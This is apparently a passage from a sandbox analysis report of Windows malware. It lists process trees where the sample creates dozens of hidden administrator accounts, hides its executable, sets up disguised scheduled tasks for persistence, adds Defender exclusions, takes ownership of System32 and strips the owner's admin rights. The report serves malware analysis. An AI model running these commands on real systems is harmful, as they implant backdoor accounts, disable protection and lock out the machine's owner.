    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ëâ· /add"
    3⤵
    PID:1300
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3320
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ëâ· /add
      4⤵
      PID:4596
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ëâ· /add
        5⤵
        
        PID:3156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ÕÂÄÂÂ RRzstSBgD0 /add"
    3⤵
    PID:1972
  - - C:\Windows\system32\net.exe
      net user ÕÂÄÂÂ RRzstSBgD0 /add
      4⤵
      PID:3580
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ÕÂÄÂÂ RRzstSBgD0 /add
        5⤵
        
        PID:3324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ÕÂÄÂÂ /add"
    3⤵
    PID:3180
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ÕÂÄÂÂ /add
      4⤵
      PID:2056
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ÕÂÄÂÂ /add
        5⤵
        
        PID:4724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ìóùùì C1vSw5k2h3 /add"
    3⤵
    PID:2092
  - - C:\Windows\system32\net.exe
      net user ìóùùì C1vSw5k2h3 /add
      4⤵
      PID:4748
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ìóùùì C1vSw5k2h3 /add
        5⤵
        
        PID:2252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ìóùùì /add"
    3⤵
    PID:4716
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ìóùùì /add
      4⤵
      PID:248
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ìóùùì /add
        5⤵
        
        PID:1004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user åÞÞ¼®¼ê PqgdpuYbW2 /add"
    3⤵
    PID:3268
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3940
  - - C:\Windows\system32\net.exe
      net user åÞÞ¼®¼ê PqgdpuYbW2 /add
      4⤵
      PID:660
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user åÞÞ¼®¼ê PqgdpuYbW2 /add
        5⤵
        
        PID:944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators åÞÞ¼®¼ê /add"
    3⤵
    PID:1624
  - - C:\Windows\system32\net.exe
      net localgroup Administrators åÞÞ¼®¼ê /add
      4⤵
      PID:4924
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators åÞÞ¼®¼ê /add
        5⤵
        
        PID:836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ääëëä JeJMMzGEEf /add"
    3⤵
    PID:2500
  - - C:\Windows\system32\net.exe
      net user ääëëä JeJMMzGEEf /add
      4⤵
      PID:856
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ääëëä JeJMMzGEEf /add
        5⤵
        
        PID:3912
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ääëëä /add"
    3⤵
    PID:3144
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ääëëä /add
      4⤵
      PID:232
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ääëëä /add
        5⤵
        
        PID:1436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user üÍüìü WTuAkgoUj8 /add"
    3⤵
    PID:388
  - - C:\Windows\system32\net.exe
      net user üÍüìü WTuAkgoUj8 /add
      4⤵
      PID:2072
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user üÍüìü WTuAkgoUj8 /add
        5⤵
        
        PID:760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators üÍüìü /add"
    3⤵
    PID:704
  - - C:\Windows\system32\net.exe
      net localgroup Administrators üÍüìü /add
      4⤵
      PID:3460
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators üÍüìü /add
        5⤵
        
        PID:1132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user oQPxIG0zp1 /add"
    3⤵
    PID:3576
  - - C:\Windows\system32\net.exe
      net user oQPxIG0zp1 /add
      4⤵
      PID:2936
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user oQPxIG0zp1 /add
        5⤵
        
        PID:1348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators /add"
    3⤵
    PID:4468
  - - C:\Windows\system32\net.exe
      net localgroup Administrators /add
      4⤵
      PID:4372
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators /add
        5⤵
        
        PID:1320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ûêØó£ûØ xYfuNUTU8y /add"
    3⤵
    PID:952
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5036
  - - C:\Windows\system32\net.exe
      net user ûêØó£ûØ xYfuNUTU8y /add
      4⤵
      PID:948
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ûêØó£ûØ xYfuNUTU8y /add
        5⤵
        
        PID:2400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ûêØó£ûØ /add"
    3⤵
    PID:4820
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3656
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ûêØó£ûØ /add
      4⤵
      PID:3236
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ûêØó£ûØ /add
        5⤵
        
        PID:756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ÍÐÍ¡Ðæ¡ nu1tucYREX /add"
    3⤵
    PID:3428
  - - C:\Windows\system32\net.exe
      net user ÍÐÍ¡Ðæ¡ nu1tucYREX /add
      4⤵
      PID:3564
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ÍÐÍ¡Ðæ¡ nu1tucYREX /add
        5⤵
        
        PID:4992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ÍÐÍ¡Ðæ¡ /add"
    3⤵
    PID:3668
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ÍÐÍ¡Ðæ¡ /add
      4⤵
      PID:1960
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ÍÐÍ¡Ðæ¡ /add
        5⤵
        
        PID:3984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ±¯¯Á 5bwZ4j43RY /add"
    3⤵
    PID:2888
  - - C:\Windows\system32\net.exe
      net user ±¯¯Á 5bwZ4j43RY /add
      4⤵
      PID:3164
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ±¯¯Á 5bwZ4j43RY /add
        5⤵
        
        PID:404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ±¯¯Á /add"
    3⤵
    PID:2320
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ±¯¯Á /add
      4⤵
      PID:4152
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ±¯¯Á /add
        5⤵
        
        PID:2720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user æë¶Í®èè Of2YwAhT9W /add"
    3⤵
    PID:3760
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:640
  - - C:\Windows\system32\net.exe
      net user æë¶Í®èè Of2YwAhT9W /add
      4⤵
      PID:2128
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user æë¶Í®èè Of2YwAhT9W /add
        5⤵
        
        PID:4576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators æë¶Í®èè /add"
    3⤵
    PID:2004
  - - C:\Windows\system32\net.exe
      net localgroup Administrators æë¶Í®èè /add
      4⤵
      PID:1432
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators æë¶Í®èè /add
        5⤵
        
        PID:3852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user çÎÀ±±ÀÎ cb4kYxZgm2 /add"
    3⤵
    PID:924
  - - C:\Windows\system32\net.exe
      net user çÎÀ±±ÀÎ cb4kYxZgm2 /add
      4⤵
      PID:3140
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user çÎÀ±±ÀÎ cb4kYxZgm2 /add
        5⤵
        
        PID:1496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators çÎÀ±±ÀÎ /add"
    3⤵
    PID:328
  - - C:\Windows\system32\net.exe
      net localgroup Administrators çÎÀ±±ÀÎ /add
      4⤵
      PID:4596
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators çÎÀ±±ÀÎ /add
        5⤵
        
        PID:2928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ·üÝ zWroL4dzrf /add"
    3⤵
    PID:2176
  - - C:\Windows\system32\net.exe
      net user ·üÝ zWroL4dzrf /add
      4⤵
      PID:3580
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ·üÝ zWroL4dzrf /add
        5⤵
        
        PID:4796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ·üÝ /add"
    3⤵
    PID:2852
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ·üÝ /add
      4⤵
      PID:3716
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ·üÝ /add
        5⤵
        
        PID:896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ºûÇ³Ç SDol1UweV2 /add"
    3⤵
    PID:1376
  - - C:\Windows\system32\net.exe
      net user ºûÇ³Ç SDol1UweV2 /add
      4⤵
      PID:4792
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ºûÇ³Ç SDol1UweV2 /add
        5⤵
        
        PID:4324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ºûÇ³Ç /add"
    3⤵
    PID:1768
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ºûÇ³Ç /add
      4⤵
      PID:248
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ºûÇ³Ç /add
        5⤵
        
        PID:548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ÀÇ¸ 9ImDHw2EzF /add"
    3⤵
    PID:4412
  - - C:\Windows\system32\net.exe
      net user ÀÇ¸ 9ImDHw2EzF /add
      4⤵
      PID:660
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ÀÇ¸ 9ImDHw2EzF /add
        5⤵
        
        PID:3132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ÀÇ¸ /add"
    3⤵
    PID:5044
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ÀÇ¸ /add
      4⤵
      PID:4924
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ÀÇ¸ /add
        5⤵
        
        PID:1204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user æ¤æ¡ææ JdkXsNUZTm /add"
    3⤵
    PID:2892
  - - C:\Windows\system32\net.exe
      net user æ¤æ¡ææ JdkXsNUZTm /add
      4⤵
      PID:3912
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user æ¤æ¡ææ JdkXsNUZTm /add
        5⤵
        
        PID:4844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators æ¤æ¡ææ /add"
    3⤵
    PID:4860
  - - C:\Windows\system32\net.exe
      net localgroup Administrators æ¤æ¡ææ /add
      4⤵
      PID:4808
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators æ¤æ¡ææ /add
        5⤵
        
        PID:4804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user °° WIkxwVo6kv /add"
    3⤵
    PID:4028
  - - C:\Windows\system32\net.exe
      net user °° WIkxwVo6kv /add
      4⤵
      PID:2376
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user °° WIkxwVo6kv /add
        5⤵
        
        PID:2836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators °° /add"
    3⤵
    PID:4784
  - - C:\Windows\system32\net.exe
      net localgroup Administrators °° /add
      4⤵
      PID:1132
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators °° /add
        5⤵
        
        PID:3460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ÑÑÑ²å 3hNuzUN4D7 /add"
    3⤵
    PID:2920
  - - C:\Windows\system32\net.exe
      net user ÑÑÑ²å 3hNuzUN4D7 /add
      4⤵
      PID:1348
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ÑÑÑ²å 3hNuzUN4D7 /add
        5⤵
        
        PID:2936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ÑÑÑ²å /add"
    3⤵
    PID:1324
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ÑÑÑ²å /add
      4⤵
      PID:2068
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ÑÑÑ²å /add
        5⤵
        
        PID:3496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ¯ÂññðÂ fYI0sYnk3u /add"
    3⤵
    PID:4504
  - - C:\Windows\system32\net.exe
      net user ¯ÂññðÂ fYI0sYnk3u /add
      4⤵
      PID:1912
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ¯ÂññðÂ fYI0sYnk3u /add
        5⤵
        
        PID:3516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ¯ÂññðÂ /add"
    3⤵
    PID:2248
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ¯ÂññðÂ /add
      4⤵
      PID:4656
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ¯ÂññðÂ /add
        5⤵
        
        PID:2648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user Äîªèè î BhXkcfRby7 /add"
    3⤵
    PID:5008
  - - C:\Windows\system32\net.exe
      net user Äîªèè î BhXkcfRby7 /add
      4⤵
      PID:3564
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user Äîªèè î BhXkcfRby7 /add
        5⤵
        
        PID:1920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators Äîªèè î /add"
    3⤵
    PID:3976
  - - C:\Windows\system32\net.exe
      net localgroup Administrators Äîªèè î /add
      4⤵
      PID:1960
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators Äîªèè î /add
        5⤵
        
        PID:4816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ¤ÀÎÎ¤Î 31IkFutCnc /add"
    3⤵
    PID:664
  - - C:\Windows\system32\net.exe
      net user ¤ÀÎÎ¤Î 31IkFutCnc /add
      4⤵
      PID:2528
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ¤ÀÎÎ¤Î 31IkFutCnc /add
        5⤵
        
        PID:828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ¤ÀÎÎ¤Î /add"
    3⤵
    PID:2792
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ¤ÀÎÎ¤Î /add
      4⤵
      PID:780
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ¤ÀÎÎ¤Î /add
        5⤵
        
        PID:3148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ûúãÍû 7VD6DtxCoa /add"
    3⤵
    PID:5060
  - - C:\Windows\system32\net.exe
      net user ûúãÍû 7VD6DtxCoa /add
      4⤵
      PID:3184
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ûúãÍû 7VD6DtxCoa /add
        5⤵
        
        PID:5112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ûúãÍû /add"
    3⤵
    PID:3280
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ûúãÍû /add
      4⤵
      PID:2004
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ûúãÍû /add
        5⤵
        
        PID:3808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user í°°ºí vUyQLjEhU7 /add"
    3⤵
    PID:3880
  - - C:\Windows\system32\net.exe
      net user í°°ºí vUyQLjEhU7 /add
      4⤵
      PID:1380
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user í°°ºí vUyQLjEhU7 /add
        5⤵
        
        PID:3276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators í°°ºí /add"
    3⤵
    PID:1300
  - - C:\Windows\system32\net.exe
      net localgroup Administrators í°°ºí /add
      4⤵
      PID:2584
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators í°°ºí /add
        5⤵
        
        PID:2612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ¦¦Ó AI0obzbtsN /add"
    3⤵
    PID:4012
  - - C:\Windows\system32\net.exe
      net user ¦¦Ó AI0obzbtsN /add
      4⤵
      PID:2176
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ¦¦Ó AI0obzbtsN /add
        5⤵
        
        PID:3320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ¦¦Ó /add"
    3⤵
    PID:3180
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ¦¦Ó /add
      4⤵
      PID:2852
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ¦¦Ó /add
        5⤵
        
        PID:1852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ãããã¢çã lveddkhfxk /add"
    3⤵
    PID:1864
  - - C:\Windows\system32\net.exe
      net user ãããã¢çã lveddkhfxk /add
      4⤵
      PID:2252
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ãããã¢çã lveddkhfxk /add
        5⤵
        
        PID:2244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ãããã¢çã /add"
    3⤵
    PID:548
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ãããã¢çã /add
      4⤵
      PID:1344
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ãããã¢çã /add
        5⤵
        
        PID:3900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ü©Å 6hQbnkcw03 /add"
    3⤵
    PID:3112
  - - C:\Windows\system32\net.exe
      net user ü©Å 6hQbnkcw03 /add
      4⤵
      PID:3672
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ü©Å 6hQbnkcw03 /add
        5⤵
        
        PID:1624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ü©Å /add"
    3⤵
    PID:1560
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ü©Å /add
      4⤵
      PID:4972
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ü©Å /add
        5⤵
        
        PID:740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ÄÄÄ¥Ä f92ipUUH1X /add"
    3⤵
    PID:3956
  - - C:\Windows\system32\net.exe
      net user ÄÄÄ¥Ä f92ipUUH1X /add
      4⤵
      PID:4004
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ÄÄÄ¥Ä f92ipUUH1X /add
        5⤵
        
        PID:3136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ÄÄÄ¥Ä /add"
    3⤵
    PID:3332
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ÄÄÄ¥Ä /add
      4⤵
      PID:3556
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ÄÄÄ¥Ä /add
        5⤵
        
        PID:2272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ý«ÊÊ«££ 4jXhZs9txG /add"
    3⤵
    PID:4052
  - - C:\Windows\system32\net.exe
      net user ý«ÊÊ«££ 4jXhZs9txG /add
      4⤵
      PID:2060
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ý«ÊÊ«££ 4jXhZs9txG /add
        5⤵
        
        PID:3460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ý«ÊÊ«££ /add"
    3⤵
    PID:1132
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ý«ÊÊ«££ /add
      4⤵
      PID:2760
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ý«ÊÊ«££ /add
        5⤵
        
        PID:4936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user âýâýçý 2bBjgYAf7I /add"
    3⤵
    PID:4164
  - - C:\Windows\system32\net.exe
      net user âýâýçý 2bBjgYAf7I /add
      4⤵
      PID:4416
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user âýâýçý 2bBjgYAf7I /add
        5⤵
        
        PID:4124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators âýâýçý /add"
    3⤵
    PID:1320
  - - C:\Windows\system32\net.exe
      net localgroup Administrators âýâýçý /add
      4⤵
      PID:1352
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators âýâýçý /add
        5⤵
        
        PID:948

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004D4 0x00000000000004CC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3748

C:\Users\Admin\AppData\Roaming\main.exe
C:\Users\Admin\AppData\Roaming\main.exe
1⤵
- Executes dropped EXE
PID:2036
- C:\Users\Admin\AppData\Roaming\main.exe
  C:\Users\Admin\AppData\Roaming\main.exe
  2⤵
  - Disables RegEdit via registry modification
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Drops file in System32 directory
  - Sets desktop wallpaper using registry
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  PID:3768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h "C:\Users\Admin\AppData\Roaming\main.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:2588
  - - C:\Windows\system32\attrib.exe
      attrib +h "C:\Users\Admin\AppData\Roaming\main.exe"
      4⤵
      Views/modifies file attributes
      PID:700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "OneDriveSYSTEM" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc minute /mo 1 /rl HIGHEST /f"
    3⤵
    PID:2372
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "OneDriveSYSTEM" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc minute /mo 1 /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1388
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$task=Get-ScheduledTask -TaskName \"OneDriveSYSTEM\" $settings=$task.Settings $settings.StartWhenAvailable=$true $settings.StopIfGoingOnBatteries=$false $settings.ExecutionTimeLimit=\"PT0S\" Set-ScheduledTask -TaskName \"OneDriveSYSTEM\" -Settings $settings"
    3⤵
    PID:3248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "OneDriveSYSTEMLogon" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogon /rl HIGHEST /f"
    3⤵
    PID:2172
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "OneDriveSYSTEMLogon" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogon /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "OneDriveSYSTEMLogoff" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogoff /rl HIGHEST /f"
    3⤵
    PID:884
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "OneDriveSYSTEMLogoff" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogoff /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h "C:\Users\Admin\AppData\Roaming\main.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:404
  - - C:\Windows\system32\attrib.exe
      attrib +h "C:\Users\Admin\AppData\Roaming\main.exe"
      4⤵
      Views/modifies file attributes
      PID:4120
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "antirestart" /tr "C:\Users\Admin\AppData\Roaming\MEMZ0.exe" /sc onlogon /rl HIGHEST /f"
    3⤵
    PID:3276
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "antirestart" /tr "C:\Users\Admin\AppData\Roaming\MEMZ0.exe" /sc onlogon /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4380
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3248
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Documents'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3364
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:328
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Pictures'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4228
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Videos'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32" /setowner "C:\Users\Admin\AppData\Roaming\main.exe" /T"
    3⤵
    PID:1344
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32" /setowner "C:\Users\Admin\AppData\Roaming\main.exe" /T
      4⤵
      Modifies file permissions
      PID:2936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "OneDriveSYSTEM" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc minute /mo 1 /rl HIGHEST /f"
    3⤵
    PID:1968
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "OneDriveSYSTEM" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc minute /mo 1 /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators Admin /delete"
    3⤵
    PID:3016
  - - C:\Windows\system32\net.exe
      net localgroup Administrators Admin /delete
      4⤵
      PID:956
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators Admin /delete
        5⤵
        
        PID:396
- - C:\Windows\system32\cmd.exe
